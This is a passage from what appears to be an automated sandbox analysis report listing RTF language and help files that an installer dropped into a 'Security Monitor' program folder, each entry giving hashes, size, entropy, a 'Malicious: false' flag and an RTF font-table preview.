SHA-512:	16CE81CF5D2A1910E845DC857AEC389ADB9E2A05E262DD47F4285A5BF5EE9A522622484EC9CE875089B1526B0C0A5956A66B858A6A731F33F2BDE6E1FE130A71
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff-10\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-KGCB5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	50474
Entropy (8bit):	5.02065375573397
Encrypted:	false
SSDEEP:	768:q4Fk5e0/qCdXF2njX8x3l7G5V5V5h5G5P5N58JCxCIWC3/OpfVPV0VVqrHLLA2YG:q4bdAc8IA9+
MD5:	9796F2ACB16A082E1398FF7EB812FBF6
SHA1:	3D0439006944B32BA2864A66D50F7BB30857548B
SHA-256:	ACBF9B9D0150B9371E4FC0609F119C77E28F9999F6D30FEE0F1665F6A1116354
SHA-512:	AA0C265F319ED1193E474D23A793C53A697D44B29806EF6EDA7FABF83C597E45F49076D97DB919EC897E9257FCD41AB560A91E50D77EE6148FBA8A6D695DCE8D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-M3HK4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	39892
Entropy (8bit):	5.034602521621446
Encrypted:	false
SSDEEP:	384:2aFkyWNdW2OTYn/akrOc7jgskl7rVGG1ZoQZq4sMQi1y9k1IKWhlmdBMyiX4+0Aw:2aFknOc7cskl/VGG1iMN+0dZ/6A9v
MD5:	D947033057D3BCAF28277A8071817DB8
SHA1:	901824B565296E552D80E934D8A2F39369611F86
SHA-256:	B8A385017A5AD17D0584EB61350466CD453CA521B282F195CA0AF0971621BFB2
SHA-512:	92ACB02795C228F72BF64ED33A55B6DB6D4222786B32FA0A67A6A55D53F6D851BC6659CCA4341FDECD6BF0B48E5CAC7D1A437A26927F790A57436C5AAFA1877B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-M9AVQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44859
Entropy (8bit):	5.042653911286004
Encrypted:	false
SSDEEP:	768:qqFy4a4jfDCcJJrNgVVhGPNhHwGNjm+epnqdxBBdwwZxsAUtcGuermSShpHlfcXX:qqJ9aqMIA9Z
MD5:	0692A56E310ADDB8AB518DFF420373E6
SHA1:	1855B76BA5A77F96D7ED04FECD78342BB3902517
SHA-256:	821D367CFEC38EEB7BFC2635ECC1B8938802D5D4071AFFA380BF5D3DA32BBA8A
SHA-512:	FE0C99F78A2807F06ECE7E94CFD9EBAD74E65FE2E9A8619D1EB3FD9CA68FA1F80AEA29D7FE1CD0AA7CEC6DD0404070E99FBD1B14DE5409CAB94703B2C679083C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-MI82S.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	39483
Entropy (8bit):	5.037147955886456
Encrypted:	false
SSDEEP:	384:2aFkyWNdW2OTYn/akrOc7jgskl7rVGGASZqeY4sMQi1OkBSyAQdAMeo75Y3kpTBd:2aFknOc7cskl/VGGAS0MDAJZ/6A9S
MD5:	2A08EEECD3328F25905421850E9182BE
SHA1:	EC931D459DAD71B222442AA00412E1E627F343E2
SHA-256:	F7F40C10AE7B09FB3D476FCEA2E2FC7CCA8DF57EE92899A1675B4A1B7D61749D
SHA-512:	D1F92F97F9B9F560A0FC510567A63B8A150759DCE4E25F0AA7B302537E3745FFA9722C144D1FF09308E7F131E92AD1CD5CB91C21B21ECE8B62E7A90B85911C10
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-NI3R1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44224
Entropy (8bit):	5.048946998383766
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsM5qWUTF4BaVy3F1+1h1r1KDZ/6A9z:2amAhMuF4BaA3F1+1h1r1KDIA9z
MD5:	72509EF33CF9A21325EB2DD67445BA6A
SHA1:	37F7D53B232DE88B3F7D1CDD6813598DD611194D
SHA-256:	6C266D43303DCAC9CE57903481E22442AABD532FFD6E4ADF5C3E4B7820E8CBA8
SHA-512:	00957DDFF315CC324CE9EAAA890EC2712543DEA6ADC8892BCCED84445AF7A8701066FF44708396D63F3F8FEFC1FBEC8EEB687A4A9009632E1644D095300B2542
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-PU13U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	47296
Entropy (8bit):	5.036767014333867
Encrypted:	false
SSDEEP:	768:qqFy/4jfDCcJJrNgVVhGPNhHwGNjm+epnqExwaWxZqEUqCuj8QDe3n3g3/3Z3z3V:qqraqDIA9/
MD5:	7984C74EC410F7A952EBBBB798A09143
SHA1:	10E1E32861C86AA02C81D824CAEEB670DC2FD1F8
SHA-256:	922B12112DE9715D7164050920AE36A5AA44FB3346DF447C6ADB5ADF36483F69
SHA-512:	34B6C3E0E3FADC4AB057411FF42B6DEB01E3B70297A357358BC27E5A5A802D68B50BA01EB1DA42E922B00DA3C0F5E58330F9A751D496E107BBAE0FFC2E2B31BE
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-R9EQA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42784
Entropy (8bit):	5.040903024418766
Encrypted:	false
SSDEEP:	768:qqFkwx1eXCpMF2njX8x3JLjwUtqYepjRBcnjX8x3D5xoYAo79Q88T27Z/6A9I:qqRbnIA9I
MD5:	6A4574B9B32C4BC5A6F9B7825A003942
SHA1:	30BB8557175BD91B06453AA8017FA35754D870C6
SHA-256:	6EB4E3BD1DDD9B08957F4B2EC49482EB8C6A083F812703F28A51EDD2E1B65DCB
SHA-512:	2A220BD4DCE899F86CA79DB7F977362554CD80AB72BCC9EB24A28FA4D72B0F0A617655B76ACEEF6991273AA459CD1C7BF29FBB5EFE4C1E9C30CD900124E2BE81
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\pano

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-SJSEG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	37249
Entropy (8bit):	5.028034136812006
Encrypted:	false
SSDEEP:	768:q4eoxdUjOcPI0QhhiLVutRNQf6zgOG4h/PWvFmZ/6A9D:q4V7UneIA9D
MD5:	0A48D352EE09C07B7AFC4D8FCA754602
SHA1:	A8EF06010F383B0E1DF2C56ABC44E3C28752D99B
SHA-256:	36765A4404110CDE20DBDD48BFB5C7550F38FCD80312627D2465234990A146D2
SHA-512:	5886EF5B32E3619BBCEA35A29332B9EB8BB7E05D2A34C7E9591756E391AC8710886AA52A9A4EF87227F58FE54109EFB3526B905AA1ED75ED93BC3ED7D6EAF871
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-U1D7G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	38736
Entropy (8bit):	5.026744300506052
Encrypted:	false
SSDEEP:	768:q4eM4jXpT2njX8x3frTlkCR9vIFfT5ebEgTRg+oQHMciZ/6A96:q4U16IA96
MD5:	F53987E38EB6461218A046384275D858
SHA1:	F7D0C00DC80411F7ABF389AF5597F6A9D76671CA
SHA-256:	E2F7132583F6483F598B1D587B4837EA60A4E8147602AB48F72C821FB65CDA64
SHA-512:	23C0AA0AA555D0D04E384320F8682A4AD4511412A854A819C6345F34613039328D5A880B57E0A40DCABDB90F0E324BE03EBA4696F3D93DF96441CF631E01F1CA
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\keyboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	45730
Entropy (8bit):	5.0380816279242895
Encrypted:	false
SSDEEP:	768:qqXQUx1e8Ca9DGi3w2EHnT2njX8x3FA5xr7YZhZOZiZFs7tAZkjCfbH1Yvv71KDH:qqAGeCIA9+
MD5:	BDBE095C7A0E96988B0CF67900DC1BEA
SHA1:	D2FDD08E37CDD417C3CD03A0432CDD50405DA76D
SHA-256:	EA0ADE471AA7488DF2B2589410D86472EDDDEC744B1F61ADE5347E9E3A297DD9
SHA-512:	87C1513C522958F71339D363324B0B5A439E090478D5D235444E329CCB611ED88B8AA186BBFA91B3D4DC576022CD62AEBC2019149A80073BF6CE37670EC4ACAD
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Arial CYR;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\pa

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\logging.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	50474
Entropy (8bit):	5.02065375573397
Encrypted:	false
SSDEEP:	768:q4Fk5e0/qCdXF2njX8x3l7G5V5V5h5G5P5N58JCxCIWC3/OpfVPV0VVqrHLLA2YG:q4bdAc8IA9+
MD5:	9796F2ACB16A082E1398FF7EB812FBF6
SHA1:	3D0439006944B32BA2864A66D50F7BB30857548B
SHA-256:	ACBF9B9D0150B9371E4FC0609F119C77E28F9999F6D30FEE0F1665F6A1116354
SHA-512:	AA0C265F319ED1193E474D23A793C53A697D44B29806EF6EDA7FABF83C597E45F49076D97DB919EC897E9257FCD41AB560A91E50D77EE6148FBA8A6D695DCE8D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\noPRO.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	56800
Entropy (8bit):	4.971134438284621
Encrypted:	false
SSDEEP:	768:qqe+2VXLHT2njX8x3TLjwUtqYepAkVZEdvI9DhLVtKAn1+kxATfpyuqFnZ8MSqi7:qqqkhLVvIA9S
MD5:	3B8361BD47C4A33C6753ABF66E840953
SHA1:	F47CF562955DAD89D07730162B53A778A9F72AD4
SHA-256:	81FA4579AC6CA95049C34F47439231BE533173F12A63187779B6F3762F648679
SHA-512:	CA1EBC99A888904B1BF43144C75F58FA4A3F2143FB00341E0EEA61B05CDD60E02F7527E4822144A082321CF2C93EEB8F395EA22295B0D3D9EBCBE9D32CE90456
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\noURL.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	73792
Entropy (8bit):	4.964676170455869
Encrypted:	false
SSDEEP:	768:qqFy4Ix1ELHT2njX8x3TLjwUtqYepAkVZEdvI9vtjP1KAn1+kxazy9qGZBwnzKul:qqJCFtjPmYeIA9/
MD5:	248443A08A6A0A95E8F172FC20682550
SHA1:	79F8FB1257C4686C4EE643E2FCCE5306D2C7F5BC
SHA-256:	507932E99002CF707D5CBD4355955DB83A13C47C13DF7301E51FCE0BD4A1C75D
SHA-512:	D6AF2CB284B942F818D9FD3949ACBD05A40D72E701B62432F64A7633E8550EDF2CC4F0C2973C784BC0AE6523E25F13729C933DB702C578050BE8BE4B9EC20E1D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\norton_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	43992
Entropy (8bit):	5.0490517908671535
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsb5IjTF4BaVy3F1+1h1r1KDZ/6A9z:2amAhbwF4BaA3F1+1h1r1KDIA9z
MD5:	093443BD0007A7BB28B50778BFB43E66
SHA1:	7FC5599F85CEBDA23A323994A57590E14628C84C
